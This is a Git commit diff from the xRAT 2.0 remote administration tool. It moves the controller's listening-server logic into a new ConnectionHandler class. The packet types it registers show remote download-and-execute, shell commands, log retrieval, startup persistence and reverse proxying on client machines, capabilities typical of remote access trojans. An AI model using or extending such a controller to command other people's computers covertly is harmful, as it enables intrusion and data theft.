Added ConnectionHandler to Server

This commit is contained in:
MaxXor 2015-07-12 19:30:34 +02:00
parent cda31acef3
commit 887f3ab34a
6 changed files with 271 additions and 115 deletions

View File

@ -35,8 +35,7 @@ public static void HandleInitialize(Client client, Initialize packet)
Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", userAtPc, client.Value.Id.Substring(0, 7))) :
Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7)));
if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
FrmMain.Instance.ConServer.CountAllTimeConnectedClientById(client.Value.Id);
string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode);

View File

@ -0,0 +1,237 @@
using System;
using System.Collections.Generic;
using xServer.Core.Packets;
namespace xServer.Core.Networking
{
public class ConnectionHandler
{
/// <summary>
/// The Server which this class is handling.
/// </summary>
private Server ListenServer { get; set; }
/// <summary>
/// A hashset containing all unique client IDs that have ever connected to the server.
/// </summary>
private HashSet<string> AllTimeConnectedClients { get; set; }
/// <summary>
/// The number of all unique clients which have ever connected to the server.
/// </summary>
public int AllTimeConnectedClientsCount { get { return AllTimeConnectedClients.Count; } }
/// <summary>
/// The amount of currently connected and authenticated clients.
/// </summary>
public int ConnectedAndAuthenticatedClients { get; set; }
/// <summary>
/// The listening state of the server. True if listening, else False.
/// </summary>
public bool Listening { get { return ListenServer.Listening; } }
/// <summary>
/// The total amount of received bytes.
/// </summary>
public long BytesReceived { get { return ListenServer.BytesReceived; } }
/// <summary>
/// The total amount of sent bytes.
/// </summary>
public long BytesSent { get { return ListenServer.BytesSent; } }
/// <summary>
/// Occurs when the state of the server changes.
/// </summary>
public event ServerStateEventHandler ServerState;
/// <summary>
/// Represents a method that will handle a change in the server's state.
/// </summary>
/// <param name="listening">The new listening state of the server.</param>
public delegate void ServerStateEventHandler(ushort port, bool listening);
/// <summary>
/// Fires an event that informs subscribers that the server has changed it's state.
/// </summary>
/// <param name="server">The server which changed it's state.</param>
/// <param name="listening">The new listening state of the server.</param>
private void OnServerState(Server server, bool listening)
{
if (ServerState != null)
{
ServerState(server.Port, listening);
}
}
/// <summary>
/// Occurs when a client connected.
/// </summary>
public event ClientConnectedEventHandler ClientConnected;
/// <summary>
/// Represents the method that will handle the connected client.
/// </summary>
/// <param name="client">The connected client.</param>
public delegate void ClientConnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is connected.
/// </summary>
/// <param name="client">The connected client.</param>
private void OnClientConnected(Client client)
{
if (ClientConnected != null)
{
ClientConnected(client);
}
}
/// <summary>
/// Occurs when a client disconnected.
/// </summary>
public event ClientDisconnectedEventHandler ClientDisconnected;
/// <summary>
/// Represents the method that will handle the disconnected client.
/// </summary>
/// <param name="client">The disconnected client.</param>
public delegate void ClientDisconnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is disconnected.
/// </summary>
/// <param name="client">The disconnected client.</param>
private void OnClientDisconnected(Client client)
{
if (ClientDisconnected != null)
{
ClientDisconnected(client);
}
}
/// <summary>
/// Constructor, initializes required objects and subscribes to events of the server.
/// </summary>
public ConnectionHandler()
{
AllTimeConnectedClients = new HashSet<string>();
ListenServer = new Server();
ListenServer.AddTypesToSerializer(typeof(IPacket), new Type[]
{
typeof (Packets.ServerPackets.InitializeCommand),
typeof (Packets.ServerPackets.Disconnect),
typeof (Packets.ServerPackets.Reconnect),
typeof (Packets.ServerPackets.Uninstall),
typeof (Packets.ServerPackets.DownloadAndExecute),
typeof (Packets.ServerPackets.UploadAndExecute),
typeof (Packets.ServerPackets.Desktop),
typeof (Packets.ServerPackets.GetProcesses),
typeof (Packets.ServerPackets.KillProcess),
typeof (Packets.ServerPackets.StartProcess),
typeof (Packets.ServerPackets.Drives),
typeof (Packets.ServerPackets.Directory),
typeof (Packets.ServerPackets.DownloadFile),
typeof (Packets.ServerPackets.MouseClick),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.VisitWebsite),
typeof (Packets.ServerPackets.ShowMessageBox),
typeof (Packets.ServerPackets.Update),
typeof (Packets.ServerPackets.Monitors),
typeof (Packets.ServerPackets.ShellCommand),
typeof (Packets.ServerPackets.Rename),
typeof (Packets.ServerPackets.Delete),
typeof (Packets.ServerPackets.Action),
typeof (Packets.ServerPackets.GetStartupItems),
typeof (Packets.ServerPackets.AddStartupItem),
typeof (Packets.ServerPackets.RemoveStartupItem),
typeof (Packets.ServerPackets.DownloadFileCanceled),
typeof (Packets.ServerPackets.GetLogs),
typeof (Packets.ClientPackets.Initialize),
typeof (Packets.ClientPackets.Status),
typeof (Packets.ClientPackets.UserStatus),
typeof (Packets.ClientPackets.DesktopResponse),
typeof (Packets.ClientPackets.GetProcessesResponse),
typeof (Packets.ClientPackets.DrivesResponse),
typeof (Packets.ClientPackets.DirectoryResponse),
typeof (Packets.ClientPackets.DownloadFileResponse),
typeof (Packets.ClientPackets.GetSystemInfoResponse),
typeof (Packets.ClientPackets.MonitorsResponse),
typeof (Packets.ClientPackets.ShellCommandResponse),
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetLogsResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
});
ListenServer.ServerState += OnServerState;
ListenServer.ClientState += ClientState;
ListenServer.ClientRead += ClientRead;
}
/// <summary>
/// Counts the unique client ID to all time connected clients.
/// </summary>
/// <remarks>
/// If the client already connected before, the client ID won't be added.
/// </remarks>
/// <param name="id">The ID to add.</param>
public void CountAllTimeConnectedClientById(string id)
{
AllTimeConnectedClients.Add(id);
}
/// <summary>
/// Begins listening for clients.
/// </summary>
/// <param name="port">Port to listen for clients on.</param>
public void Listen(ushort port)
{
if (!ListenServer.Listening) ListenServer.Listen(port);
}
/// <summary>
/// Disconnect the server from all of the clients and discontinue
/// listening (placing the server in an "off" state).
/// </summary>
public void Disconnect()
{
if (ListenServer.Listening) ListenServer.Disconnect();
}
/// <summary>
/// Decides if the client connected or disconnected.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which changed its state.</param>
/// <param name="connected">True if the client connected, false if disconnected.</param>
private void ClientState(Server server, Client client, bool connected)
{
switch (connected)
{
case true:
OnClientConnected(client);
break;
case false:
OnClientDisconnected(client);
break;
}
}
/// <summary>
/// Forwards received packets from the client to the PacketHandler.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which has received the packet.</param>
/// <param name="packet">The received packet.</param>
private void ClientRead(Server server, Client client, IPacket packet)
{
PacketHandler.HandlePacket(client, packet);
}
}
}

View File

@ -8,11 +8,6 @@ namespace xServer.Core.Networking
{
public class Server
{
/// <summary>
/// The amount of currently connected and authenticated clients.
/// </summary>
public int ConnectedAndAuthenticatedClients { get; set; }
/// <summary>
/// Occurs when the state of the server changes.
/// </summary>
@ -185,11 +180,6 @@ public Client[] Clients
}
}
/// <summary>
/// A collection containing all clients that have ever connected to the server.
/// </summary>
public Dictionary<string, DateTime> AllTimeConnectedClients { get; set; }
/// <summary>
/// Handle of the Server Socket.
/// </summary>
@ -221,7 +211,6 @@ public Client[] Clients
public Server()
{
PacketTypes = new List<Type>();
AllTimeConnectedClients = new Dictionary<string, DateTime>();
}
/// <summary>

View File

@ -9,21 +9,21 @@
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Networking;
using xServer.Core.Packets;
using xServer.Settings;
namespace xServer.Forms
{
public partial class FrmMain : Form
{
public ConnectionHandler ConServer { get; set; }
public static FrmMain Instance { get; private set; }
private const int STATUS_ID = 4;
private const int USERSTATUS_ID = 5;
public Server ListenServer;
private readonly ListViewColumnSorter _lvwColumnSorter;
public static volatile FrmMain Instance;
private bool _titleUpdateRunning;
private readonly object _lockClients = new object();
private bool _titleUpdateRunning;
private void ReadSettings(bool writeIfNotExist = true)
{
@ -88,8 +88,8 @@ public void UpdateWindowTitle()
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0) ?
string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ListenServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("xRAT 2.0 - Connected: {0}", ListenServer.ConnectedAndAuthenticatedClients);
string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
});
}
catch
@ -100,60 +100,11 @@ public void UpdateWindowTitle()
private void InitializeServer()
{
ListenServer = new Server();
ConServer = new ConnectionHandler();
ListenServer.AddTypesToSerializer(typeof (IPacket), new Type[]
{
typeof (Core.Packets.ServerPackets.InitializeCommand),
typeof (Core.Packets.ServerPackets.Disconnect),
typeof (Core.Packets.ServerPackets.Reconnect),
typeof (Core.Packets.ServerPackets.Uninstall),
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
typeof (Core.Packets.ServerPackets.UploadAndExecute),
typeof (Core.Packets.ServerPackets.Desktop),
typeof (Core.Packets.ServerPackets.GetProcesses),
typeof (Core.Packets.ServerPackets.KillProcess),
typeof (Core.Packets.ServerPackets.StartProcess),
typeof (Core.Packets.ServerPackets.Drives),
typeof (Core.Packets.ServerPackets.Directory),
typeof (Core.Packets.ServerPackets.DownloadFile),
typeof (Core.Packets.ServerPackets.MouseClick),
typeof (Core.Packets.ServerPackets.GetSystemInfo),
typeof (Core.Packets.ServerPackets.VisitWebsite),
typeof (Core.Packets.ServerPackets.ShowMessageBox),
typeof (Core.Packets.ServerPackets.Update),
typeof (Core.Packets.ServerPackets.Monitors),
typeof (Core.Packets.ServerPackets.ShellCommand),
typeof (Core.Packets.ServerPackets.Rename),
typeof (Core.Packets.ServerPackets.Delete),
typeof (Core.Packets.ServerPackets.Action),
typeof (Core.Packets.ServerPackets.GetStartupItems),
typeof (Core.Packets.ServerPackets.AddStartupItem),
typeof (Core.Packets.ServerPackets.RemoveStartupItem),
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
typeof (Core.Packets.ServerPackets.GetLogs),
typeof (Core.Packets.ClientPackets.Initialize),
typeof (Core.Packets.ClientPackets.Status),
typeof (Core.Packets.ClientPackets.UserStatus),
typeof (Core.Packets.ClientPackets.DesktopResponse),
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
typeof (Core.Packets.ClientPackets.DrivesResponse),
typeof (Core.Packets.ClientPackets.DirectoryResponse),
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
typeof (Core.Packets.ClientPackets.GetLogsResponse),
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
});
ListenServer.ServerState += ServerState;
ListenServer.ClientState += ClientState;
ListenServer.ClientRead += ClientRead;
ConServer.ServerState += ServerState;
ConServer.ClientConnected += ClientConnected;
ConServer.ClientDisconnected += ClientDisconnected;
}
private void FrmMain_Load(object sender, EventArgs e)
@ -164,7 +115,7 @@ private void FrmMain_Load(object sender, EventArgs e)
{
if (XMLSettings.UseUPnP)
UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString()));
ListenServer.Listen(XMLSettings.ListenPort);
ConServer.Listen(XMLSettings.ListenPort);
}
if (XMLSettings.IntegrateNoIP)
@ -175,8 +126,7 @@ private void FrmMain_Load(object sender, EventArgs e)
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
if (ListenServer.Listening)
ListenServer.Disconnect();
ConServer.Disconnect();
if (UPnP.IsPortForwarded)
UPnP.RemovePort();
@ -191,13 +141,13 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
UpdateWindowTitle();
}
private void ServerState(Server server, bool listening)
private void ServerState(ushort port, bool listening)
{
try
{
this.Invoke((MethodInvoker) delegate
{
botListen.Text = listening ? string.Format("Listening on port {0}.", server.Port) : "Not listening.";
botListen.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
});
}
catch (InvalidOperationException)
@ -205,27 +155,20 @@ private void ServerState(Server server, bool listening)
}
}
private void ClientState(Server server, Client client, bool connected)
private void ClientConnected(Client client)
{
if (connected)
{
new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
}
else
{
if (client.Value != null)
{
client.Value.DisposeForms();
client.Value = null;
}
RemoveClientFromListview(client);
}
new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
}
private void ClientRead(Server server, Client client, IPacket packet)
private void ClientDisconnected(Client client)
{
PacketHandler.HandlePacket(client, packet);
if (client.Value != null)
{
client.Value.DisposeForms();
client.Value = null;
}
RemoveClientFromListview(client);
}
/// <summary>
@ -264,7 +207,7 @@ public void AddClientToListview(ListViewItem clientItem)
lock (_lockClients)
{
lstClients.Items.Add(clientItem);
ListenServer.ConnectedAndAuthenticatedClients++;
ConServer.ConnectedAndAuthenticatedClients++;
}
});
@ -291,7 +234,7 @@ public void RemoveClientFromListview(Client c)
.Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag)))
{
lvi.Remove();
ListenServer.ConnectedAndAuthenticatedClients--;
ConServer.ConnectedAndAuthenticatedClients--;
break;
}
}
@ -389,19 +332,6 @@ private Client[] GetSelectedClients()
return clients.ToArray();
}
/// <summary>
/// Gets all connected and authenticated clients.
/// </summary>
/// <returns>An array of all Clients.</returns>
private Client[] GetAllClients()
{
List<Client> clients = new List<Client>();
clients.AddRange(ListenServer.Clients.Where(c => c.Value.IsAuthenticated));
return clients.ToArray();
}
/// <summary>
/// Displays a popup with information about a client.
/// </summary>
@ -819,7 +749,7 @@ private void menuClose_Click(object sender, EventArgs e)
private void menuSettings_Click(object sender, EventArgs e)
{
using (var frm = new FrmSettings(ListenServer))
using (var frm = new FrmSettings(ConServer))
{
frm.ShowDialog();
}
@ -835,14 +765,14 @@ private void menuBuilder_Click(object sender, EventArgs e)
private void menuStatistics_Click(object sender, EventArgs e)
{
if (ListenServer.BytesReceived == 0 || ListenServer.BytesSent == 0)
if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0)
MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
MessageBoxIcon.Information);
else
{
using (
var frm = new FrmStatistics(ListenServer.BytesReceived, ListenServer.BytesSent,
ListenServer.ConnectedAndAuthenticatedClients, ListenServer.AllTimeConnectedClients.Count))
var frm = new FrmStatistics(ConServer.BytesReceived, ConServer.BytesSent,
ConServer.ConnectedAndAuthenticatedClients, ConServer.AllTimeConnectedClientsCount))
{
frm.ShowDialog();
}

View File

@ -9,9 +9,9 @@ namespace xServer.Forms
{
public partial class FrmSettings : Form
{
private readonly Server _listenServer;
private readonly ConnectionHandler _listenServer;
public FrmSettings(Server listenServer)
public FrmSettings(ConnectionHandler listenServer)
{
this._listenServer = listenServer;

View File

@ -84,6 +84,7 @@
<Compile Include="Core\Extensions\ListViewExtensions.cs" />
<Compile Include="Core\Misc\NoIpUpdater.cs" />
<Compile Include="Core\Misc\SavedVariables.cs" />
<Compile Include="Core\Networking\ConnectionHandler.cs" />
<Compile Include="Core\Networking\PooledBufferManager.cs" />
<Compile Include="Core\Packets\ClientPackets\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DirectoryResponse.cs" />